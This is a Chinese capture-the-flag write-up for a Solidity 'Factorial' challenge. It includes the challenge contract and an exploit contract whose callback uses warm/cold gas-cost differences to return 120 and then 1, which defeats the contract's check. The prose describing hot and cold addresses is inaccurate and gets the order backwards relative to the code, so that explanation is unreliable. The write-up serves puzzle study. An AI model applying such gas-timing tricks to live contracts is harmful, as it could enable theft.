题目源代码:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Factorial {
bool public solved = false;

function run(uint256 number) internal view returns (uint256) {
uint256 res = 1;
for (uint256 index = 0; index < number; index++) {
(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("factorial(uint256)", number));
res = res * abi.decode(data, (uint256));
}
return res;
}

function solve() public {
require(run(5) == 120, "wrong");
solved = true;
}
}

阅读代码,就是五次返回值的乘积要为120,又了解到一个新知识,冷地址和新地址

热地址(Hot Address):在 EVM 中,”热” 地址通常指的是近期被频繁访问过的地址或合约。这些地址的数据和代码可能已经被加载到 EVM 的缓存中,因此访问这些地址会更快,消耗的 gas 较少。
冷地址(Cold Address):冷地址通常指的是很少被访问的地址,或者是很久没有与之交互的合约地址。当你访问这些冷地址时,由于 EVM 可能需要重新加载代码和数据,导致访问时的 gas 消耗更高。
然后就可以先使用热地址,返回120,接下来再使用冷地址返回1,这样他们的乘积就能返回120了

攻击代码:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IFactorial {
function solve() external;
}

contract Exploit {
IFactorial level;

// construct() {} // construct not allowed

function exploit() public {
// write code here
address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
level = IFactorial(target);
level.solve();
}

function factorial(uint256) public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
bytes32 data01 = bytes32(uint256(1));
return data01;
}
bytes32 data02 = bytes32(uint256(120));
return data02;
}

}